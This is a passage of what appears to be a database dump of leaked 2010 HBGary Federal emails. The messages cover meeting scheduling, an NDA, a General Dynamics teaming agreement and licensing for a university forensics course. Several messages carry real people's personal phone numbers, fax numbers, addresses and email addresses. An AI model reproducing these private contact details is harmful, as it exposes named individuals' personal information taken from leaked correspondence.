Harvey (cc&#8217;d), who will\r\ncoordinate the training.&nbsp;&nbsp;Understanding\r\nour policy components and structure is key to success.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, June 03,\r\n2010 10:40 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have the various VMs now downloaded and are installing.\r\n&nbsp;Should we have a conversation and potential demo of these capabilities\r\nfor the folks out here in the Springs that will be configuring?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\na call with them &#8211; you okay if I mention your upcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8855,'aaron_hbgary_com/8855.html'),(7036,'2010-06-04','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297005104.M788199P14101Q1891.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','Yes, the 8th is good at 9am.  \r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:23 AM\r\nTo: Scott Suhy\r\nSubject: Re: Introduction\r\n\r\nShall I come to your place?  Around 9am?\r\n\r\nFunny the personal situational awareness proposal.  I would like to talk to\r\nyou about that one.  We have a commercial proposal and prototype capability\r\nto do something very similar.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC.\r\n\r\nOn Jun 3, 2010, at 11:50 AM, Scott Suhy wrote:\r\n\r\n> Are you good for the morning of the 8th?    \r\n> \r\n> We\'ve been working on a response to the darpa bid for the last 3 weeks.\r\n> There is also one for HLS see\r\n> https://www.sbir.dhs.gov/currentsolicitation.aspx#101009 we decided to not\r\n> bid this one.\r\n> \r\n> PEO EIS has one that is in RFI stage and one for SSA see\r\n> https://www.fbo.gov/spg/SSA/DCFIAM/OAG/SSA-RFI-10-1013/listing.html \r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, June 03, 2010 12:57 PM\r\n> To: Scott Suhy\r\n> Subject: Re: Introduction\r\n> \r\n> Hi Scott,\r\n> \r\n> How is your schedule for getting together next week?  Did you see the link\r\nI\r\n> sent on the DARPA opportunity for app development?\r\n> \r\n> Aaron\r\n> \r\n> On May 27, 2010, at 7:32 AM, Scott Suhy wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Give me a ring today (cell below).\r\n>> \r\n>> ____________________________________________________\r\n>> Scott B. Suhy\r\n>> CEO, PointAbout Inc.\r\n>> Cell: 202.557.6937\r\n>> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n>> skype:scott.suhy \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, May 27, 2010 9:07 AM\r\n>> To: info@PointAbout.com\r\n>> Subject: Introduction\r\n>> \r\n>> Hi PointAbout,\r\n>> \r\n>> I have been doing a little bit of research on local DC talent for mobile\r\n>> development and found you guys, turns out I actually have a few of your\r\n> apps\r\n>> on my iPhone.\r\n>> \r\n>> My company is the sister company to HBGary Inc. focused on malware\r\n> analysis,\r\n>> incident response, and information operations products and services.  But\r\n>> the reason for writing you is I have about 7 years experience in the web\r\n> and\r\n>> mobile app and services space as well and have some interesting ideas.\r\nIt\r\n>> was all work done for the government so while I think I have a vision for\r\n>> the direction of mobile information and services (the most important\r\n> market\r\n>> going forward IMO).  I don\'t know the people or processes in the purely\r\n>> commercial space.\r\n>> \r\n>> I would like to exchange an NDA and come talk to you guys about the\r\nmobile\r\n>> space.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.819 / Virus Database: 271.1.1/2897 - Release Date: 05/26/10\r\n>> 14:26:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date: 06/03/10\r\n> 02:25:00\r\n> \r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date: 06/04/10\r\n02:25:00\r\n',9227,'aaron_hbgary_com/9227.html'),(7037,'2010-06-04','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005105.M299890P14101Q1893.eml','\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,aaron@hbgary.com,economou@akamai.com','Akamai Technologies Capabilities Meeting','\r\n\r\n\r\n\r\n\r\nAkamai Technologies Capabilities Meeting \r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Wednesday, June 23, 2010 10:00 AM\r\nEnd Time:Wednesday, June 23, 2010 11:00 AM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF1, Suite 135 Conference room\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nSorry to move this again, but schedules are getting a little booked. - Chris\r\n\r\n*** Notice the new date *****\r\n\r\nAkamai Technologies&nbsp; - George Economou&nbsp; is visiting us to talk about what they can provide for COIN.\r\n\r\nLet me know if you have any questions.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9686,'aaron_hbgary_com/9686.html'),(7038,'2010-06-04','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005105.M34116P14101Q1892.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat is really ironic, which I can share because all of this is\r\npublic, is that Chinese actors stole large amounts of IP from GE, DuPont and\r\nAmgen in the 80s and 90s, and the Boards&#8217; of those companies are aware of\r\nthe financial impact that had on the top and bottom line.&nbsp; Amazing how\r\ntimes change, yet stay the same&#8230;\r\n\r\n&nbsp;\r\n\r\nBTW &#8211; I&#8217;d like to introduce you to Josh Corman at\r\nthe 451 Group at some point.&nbsp; He&#8217;s worked with Penny and Greg, but\r\nthink you two would get along well.&nbsp; He&#8217;s based in Boston, so I&#8217;ll\r\ndo it via e-mail if that&#8217;s okay.&nbsp; He also knows some of the fudsec\r\nguys, so if you&#8217;d ever want to be a guest blogger, he could help make\r\nthat happen.&nbsp; He&#8217;d LOVE to hear about this offering you are putting\r\ntogether, and he&#8217;s also looking to write some end user deployment\r\nstories, even if the customer is anonymous, about how great new security\r\ntechnologies are addressing talented and persistent threat actors.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBTW &#8211; if you have a minute today, would like to chat about\r\nNorthrop.&nbsp; Meeting with them on Monday about a consulting opportunity that\r\nis probably going to collide with the intro you offered to make on the cyber\r\narchitect side.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:32 AM\r\nTo: Etue, David\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWow. &nbsp;They have an APT program. &nbsp;Like you said, at\r\nleast they are thinking and acting.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDoesn\'t surprise me you did this work earlier. &nbsp;Nearly\r\nno one got it back in the 90s though, so I am sure the information ended up in\r\nthe &quot;Well thats interesting&quot; bucket.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:44 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCool &#8211; talking with Eric Meyers about their &#8220;APT\r\nprogram&#8221;.&nbsp; Name makes me cringe, but they are serious about doing\r\nstuff.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe irony of this is that I spend a bunch of time when I was at\r\nGE doing best practice sharing with DuPont on nation state threats in the late\r\n90s&#8230;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, June 03,\r\n2010 10:35 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nabsolutely.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\na call with them &#8211; you okay if I mention your upcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6128,'aaron_hbgary_com/6128.html'),(7039,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005105.M507431P14101Q1894.eml','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','Re: Introduction','Great.  If I could get the NDA back prior to our discussions that would be great.  I will bring a copy of our commercial proposal.\r\n\r\nAaron\r\n\r\nOn Jun 4, 2010, at 9:47 AM, Scott Suhy wrote:\r\n\r\n> Yes, the 8th is good at 9am.  \r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, June 04, 2010 11:23 AM\r\n> To: Scott Suhy\r\n> Subject: Re: Introduction\r\n> \r\n> Shall I come to your place?  Around 9am?\r\n> \r\n> Funny the personal situational awareness proposal.  I would like to talk to\r\n> you about that one.  We have a commercial proposal and prototype capability\r\n> to do something very similar.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal LLC.\r\n> \r\n> On Jun 3, 2010, at 11:50 AM, Scott Suhy wrote:\r\n> \r\n>> Are you good for the morning of the 8th?    \r\n>> \r\n>> We\'ve been working on a response to the darpa bid for the last 3 weeks.\r\n>> There is also one for HLS see\r\n>> https://www.sbir.dhs.gov/currentsolicitation.aspx#101009 we decided to not\r\n>> bid this one.\r\n>> \r\n>> PEO EIS has one that is in RFI stage and one for SSA see\r\n>> https://www.fbo.gov/spg/SSA/DCFIAM/OAG/SSA-RFI-10-1013/listing.html \r\n>> \r\n>> ____________________________________________________\r\n>> Scott B. Suhy\r\n>> CEO, PointAbout Inc.\r\n>> Cell: 202.557.6937\r\n>> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n>> skype:scott.suhy \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, June 03, 2010 12:57 PM\r\n>> To: Scott Suhy\r\n>> Subject: Re: Introduction\r\n>> \r\n>> Hi Scott,\r\n>> \r\n>> How is your schedule for getting together next week?  Did you see the link\r\n> I\r\n>> sent on the DARPA opportunity for app development?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On May 27, 2010, at 7:32 AM, Scott Suhy wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> Give me a ring today (cell below).\r\n>>> \r\n>>> ____________________________________________________\r\n>>> Scott B. Suhy\r\n>>> CEO, PointAbout Inc.\r\n>>> Cell: 202.557.6937\r\n>>> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n>>> skype:scott.suhy \r\n>>> \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Thursday, May 27, 2010 9:07 AM\r\n>>> To: info@PointAbout.com\r\n>>> Subject: Introduction\r\n>>> \r\n>>> Hi PointAbout,\r\n>>> \r\n>>> I have been doing a little bit of research on local DC talent for mobile\r\n>>> development and found you guys, turns out I actually have a few of your\r\n>> apps\r\n>>> on my iPhone.\r\n>>> \r\n>>> My company is the sister company to HBGary Inc. focused on malware\r\n>> analysis,\r\n>>> incident response, and information operations products and services.  But\r\n>>> the reason for writing you is I have about 7 years experience in the web\r\n>> and\r\n>>> mobile app and services space as well and have some interesting ideas.\r\n> It\r\n>>> was all work done for the government so while I think I have a vision for\r\n>>> the direction of mobile information and services (the most important\r\n>> market\r\n>>> going forward IMO).  I don\'t know the people or processes in the purely\r\n>>> commercial space.\r\n>>> \r\n>>> I would like to exchange an NDA and come talk to you guys about the\r\n> mobile\r\n>>> space.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> No virus found in this incoming message.\r\n>>> Checked by AVG - www.avg.com \r\n>>> Version: 9.0.819 / Virus Database: 271.1.1/2897 - Release Date: 05/26/10\r\n>>> 14:26:00\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date: 06/03/10\r\n>> 02:25:00\r\n>> \r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date: 06/04/10\r\n> 02:25:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7473,'aaron_hbgary_com/7473.html'),(7040,'2010-06-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005117.M257138P14101Q1895.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,,,','Re: HBGary Federal Teaming Agreement','Signed TA attached.  Please send the fully executed copy for my\r\nrecords.  Thanks,\r\n\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jun 3, 2010 at 10:19 AM, Hoagland, Kimberly A.\r\n wrote:\r\n> Actually, yes.  Please review, sign and return the attached Teaming Agreement.\r\n>\r\n>\r\n> Thank you,\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n> ??please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, June 01, 2010 3:41 PM\r\n> To: Hoagland, Kimberly A.\r\n> Cc: Aaron Barr; Griswold, Christine (EXT) (GDC4S)\r\n> Subject: Re: FW: Supplier 452174 Approved\r\n>\r\n> Hi Kimberly,\r\n>\r\n> Just wanted to follow up on this.  Do we owe you anything?\r\n>\r\n> Also, do you know the anticipated award date for this effort?\r\n>\r\n> Congrats on getting the proposal out, we\'ll keep our fingers crossed!\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, May 27, 2010 at 9:50 AM, Hoagland, Kimberly A.\r\n>  wrote:\r\n>> I just noticed that also, no wonder you guys are confused.  Hold off for right now, you answered my question that I needed.  I need to talk to Christine about something internally.  Sit tight and I\'ll get back to you.\r\n>>\r\n>>\r\n>> Thanks for your patience!\r\n>>\r\n>>\r\n>>\r\n>> Kimberly Hoagland\r\n>> Sr. Specialist-Subcontracts\r\n>> General Dynamics Advanced Information Systems, Inc.\r\n>>\r\n>> Mailing Address:\r\n>>  10925 Pump House Road\r\n>>  Annapolis Junction, MD 20701\r\n>> Physical Address:\r\n>>  2721 Technology Drive\r\n>>  Annapolis Junction, MD  20701\r\n>>\r\n>> (240) 294-2275 (v)\r\n>> (240) 294-2181 (f)\r\n>> kimberly.hoagland@gd-ais.com\r\n>>\r\n>>\r\n>> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Thursday, May 27, 2010 11:49 AM\r\n>> To: Hoagland, Kimberly A.\r\n>> Cc: Aaron Barr; Griswold, Christine (EXT) (GDC4S)\r\n>> Subject: Re: FW: Supplier 452174 Approved\r\n>>\r\n>> Sorry for the confusion.  This form reads HBGary Inc, and it will not\r\n>> allow me to change it to HBGary Federal, LLC.  Can you make this\r\n>> change and resend it to me please and I will fill it out ASAP.\r\n>>\r\n>> Thanks,\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Thu, May 27, 2010 at 9:28 AM, Hoagland, Kimberly A.\r\n>>  wrote:\r\n>>> Ted,\r\n>>>\r\n>>> Attached are the standard Reps & Certs that Christine just sent to you today\r\n>>> at 9:31am.  These are where I would normally obtain the information that I\r\n>>> requested from you this morning via Email.  The Supplemental Reps & Certs\r\n>>> are a different set of forms that do not contain the same information.\r\n>>> Christine Griswold does not send those out, I sent those to you on 5/25/10\r\n>>> at 10:31 as part of your RFP package.\r\n>>>\r\n>>> Two totally different forms.  I hope this clears things up.\r\n>>>\r\n>>>\r\n>>>\r\n>>> Kimberly Hoagland\r\n>>> Sr. Specialist-Subcontracts\r\n>>> General Dynamics Advanced Information Systems, Inc.\r\n>>>\r\n>>> Mailing Address:\r\n>>>  10925 Pump House Road\r\n>>>  Annapolis Junction, MD 20701\r\n>>> Physical Address:\r\n>>>  2721 Technology Drive\r\n>>>  Annapolis Junction, MD  20701\r\n>>>\r\n>>> (240) 294-2275 (v)\r\n>>> (240) 294-2181 (f)\r\n>>> kimberly.hoagland@gd-ais.com\r\n>>>\r\n>>> P please consider the environment before printing this email\r\n>>> This e-mail message is for the sole use of the intended recipient and may\r\n>>> contain confidential and privileged information. Any unauthorized review,\r\n>>> use, disclosure, or distribution is prohibited. If you are not an intended\r\n>>> recipient, please contact the sender by reply e-mail and destroy all copies\r\n>>> of the original message.\r\n>>>\r\n>>>\r\n>>> _____________________________________________\r\n>>> From: Griswold, Christine [mailto:Christine.Griswold@gdc4s.com]\r\n>>> Sent: Thursday, May 27, 2010 9:31 AM\r\n>>> To: Aaron Barr\r\n>>> Cc: Hoagland, Kimberly A.; Ted Vera\r\n>>> Subject: FW: Supplier 452174 Approved\r\n>>>\r\n>>>\r\n>>>\r\n>>> Please complete the document as soon as possible and return the soft copy to\r\n>>> Kim Hoagland and myself.\r\n>>>\r\n>>> Sincerely,\r\n>>> CHRISTINE GRISWOLD\r\n>>> christine.griswold@gdc4s.com\r\n>>> General Dynamics C4 Systems\r\n>>> 400 John Quincy Adams Rd.\r\n>>> Taunton Ma 02780\r\n>>> P# 508-880-4154\r\n>>> F# 508-880-2223\r\n>>>\r\n>>> ______________________________________________\r\n>>> From:    Hoagland, Kimberly A. [mailto:Kimberly.Hoagland@gd-ais.com]\r\n>>> Sent:   Monday, May 24, 2010 3:20 PM\r\n>>> To:     Griswold, Christine\r\n>>> Subject:        FW: Supplier 452174 Approved\r\n>>>\r\n>>> Please send out a Reps & Certs package to this company.  Thank you!  J\r\n>>>\r\n>>> Aaron Barr [aaron@hbgary.com]\r\n>>> Ted Vera [ted@hbgary.com]\r\n>>>\r\n>>>\r\n>>>\r\n>>> Kimberly Hoagland\r\n>>> Sr. Specialist-Subcontracts\r\n>>> General Dynamics Advanced Information Systems, Inc.\r\n>>>\r\n>>> Mailing Address:\r\n>>>  10925 Pump House Road\r\n>>>  Annapolis Junction, MD 20701\r\n>>> Physical Address:\r\n>>>  2721 Technology Drive\r\n>>>  Annapolis Junction, MD  20701\r\n>>>\r\n>>> (240) 294-2275 (v)\r\n>>> (240) 294-2181 (f)\r\n>>> kimberly.hoagland@gd-ais.com\r\n>>>\r\n>>> P please consider the environment before printing this email\r\n>>> This e-mail message is for the sole use of the intended recipient and may\r\n>>> contain confidential and privileged information. Any unauthorized review,\r\n>>> use, disclosure, or distribution is prohibited. If you are not an intended\r\n>>> recipient, please contact the sender by reply e-mail and destroy all copies\r\n>>> of the original message.\r\n>>>\r\n>>>\r\n>>> _____________________________________________\r\n>>> From: Bradley, Barbara L.\r\n>>> Sent: Monday, May 24, 2010 3:19 PM\r\n>>> To: Hoagland, Kimberly A.\r\n>>> Cc: Griswold, Christine (EXT) (GDC4S)\r\n>>> Subject: Supplier 452174 Approved\r\n>>>\r\n>>>\r\n>>> Supplier 452174, HBGary, Inc, has been approved in ESM and IFS.\r\n>>>\r\n>>> Barbara Bradley\r\n>>> Calibration Recall System Coordinator\r\n>>> Supplier Quality Administrator\r\n>>> General Dynamics - Cyber Systems-IS\r\n>>> 7-9 Vreeland Road\r\n>>> Florham Park, NJ  07932\r\n>>> Phone - 973-765-5584\r\n>>> Fax - 973-765-5952\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',32,'aaron_hbgary_com/32.html'),(7041,'2010-06-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005118.M662038P14101Q1896.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Have you seen this?','Yes I have:)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 7:54 AM\r\nTo: Greg Hoglund; Penny Leavy; Bob Slapnik\r\nSubject: Have you seen this?\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=a7696af665aa4a29f85a867\r\n70991b63d&tab=core&_cview=0\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',15494,'aaron_hbgary_com/15494.html'),(7042,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005118.M920341P14101Q1897.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','Next week Discussion','Hi Eric,\r\n\r\nHow does your next week look?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15929,'aaron_hbgary_com/15929.html'),(7043,'2010-06-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005119.M207937P14101Q1898.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Colorado Tech','Penny asked us to meet up with John Tesch from Colorado Technical\r\nUniversity (CTU) after she met him at CIC in Vegas.  Aaron and I met\r\nwith John last night to learn more about what he\'s trying to\r\naccomplish and how he thinks HBGary can help.\r\n\r\nHe has worked hard over the last few years trying to establish CTU as\r\na leader in digital\r\nforensics studies.  Today he is flying to NSA to receive CTU\'s\r\ncertification as an NSA academic center of excellence for computer\r\nsecurity, an honor bestowed upon less than 100 schools.\r\n\r\nJohn is developing a memory forensics course and he would like to center much\r\nof the content and labs around HBGary Responder.  He is looking for 24\r\nlicenses, one for each workstation in their student security lab. He\r\nhas very limited budget, and would like to offer up in exchange for\r\nthe licenses, an HBGary sign to be prominently displayed at the lab\r\nentrance, exposing students to HBGary products throughout the course,\r\nand promoting HBGary through CTU hosted venues such as ISSA meetings,\r\netc.\r\n\r\nHe needs to know the cost and get everything formalized as\r\nquickly as possible because it takes time to develop the course\r\nmaterial and promote the class.\r\n\r\nQuestions:\r\n\r\n1.  How much would we charge for the 24 licenses.\r\n2.  Can CTU have permission to use Responder as a teaching aid / topic\r\nduring the course, and is a formal agreement needed for this?\r\n3.  I\'m a bit concerned that their teaching a Responder focused course\r\nmay diminish demand for HBGary training in Colorado Springs, should we\r\ntry to negotiate a deal with CTU which would allow us to be\r\ncompensated for teaching the Responder portions of the class?\r\n\r\nTed\r\n',13491,'aaron_hbgary_com/13491.html'),(7044,'2010-06-04','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297005129.M734087P14101Q1899.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted 